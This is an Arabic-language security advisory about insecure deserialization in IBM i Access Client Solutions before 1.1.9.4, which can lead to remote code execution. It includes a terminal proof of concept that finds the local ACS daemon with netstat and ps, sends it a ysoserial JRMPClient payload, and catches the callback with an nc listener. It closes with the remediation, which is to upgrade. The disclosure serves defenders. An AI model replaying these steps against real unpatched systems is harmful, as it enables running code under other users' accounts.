
IBM i Access Client Solutions < 1.1.9.4 - تنفيذ تعليمات برمجية عن بُعد عبر إلغاء التسلسل غير الآمن
IBM i Access Client Solutions < 1.1.9.4 - تنفيذ كود عن بُعد عبر إلغاء تسلسل غير آمن.
يستخدم IBM i Access Client Solutions إلغاء تسلسل غير آمن لتخزين كلمات المرور وللحصول على مفتاح فك تشفير كلمات المرور. يمكن استخدام هذا من قبل مهاجم محلي أو عن بُعد لتنفيذ كود.
يمكن العثور بسهولة على الخادم المحلي باستخدام الأمر `netstat' command:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ netstat -nltp | grep java
tcp6 0 0 :::34307 :::* LISTEN 3225094/java off (0.00/0/0)
يمكننا تأكيد تفاصيل هذا الخادم المحلي باستخدام الأمر ps:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ ps aux | grep java
mmajchr+ 3224938 6.8 0.9 13305316 301392 pts/6 Sl+ 12:30 0:17 java -jar ./acsbundle_1.9.new.jar
mmajchr+ 3225094 0.3 0.2 11512420 79692 pts/6 Sl+ 12:30 0:00 /usr/lib/jvm/java-17-openjdk-amd64/bin/java -Djava.class.path=/tmp/ACS.lm13910263510749358977.jar -Dvisualvm.display.name=ACS Daemon -Dcom.ibm.tools.attach.displayName=ACS Daemon com.ibm.iaccess.base.LmHybridServerImpl
mkubiak 3238934 0.0 0.0 6464 1992 pts/12 R+ 12:44 0:00 grep --color=auto java
يمكننا تحقيق تنفيذ الكود بواسطة المستخدم mmajchrowicz باستخدام حمولة ysoserial من حساب mkubiak:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ id
uid=1012(mkubiak) gid=1012(mkubiak) groups=1012(mkubiak),27(sudo)
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ java -jar ysoserial.jar JRMPClient '127.0.0.1:9191' > jrmp.bin
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ (sleep 3; cat jrmp.bin) | nat -6 ::1 34307
في الطرفية الثانية سنستقبل الاتصال بعد تنفيذ الحمولة من قبل الخدمة:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ nc -lvnp 9191
listening on [any] 9191 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 38012
JRMIK
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$
كان سبب هذه المشكلة هو إلغاء تسلسل غير آمن لحزم الشبكة وبيانات المستخدم. تم إصلاح هذه المشكلة في IBM i Access Client Solutions 1.1.9.4.
< 1.1.9.4
قم بتحديث IBM i Access Client Solutions إلى الإصدار 1.1.9.4 أو أحدث.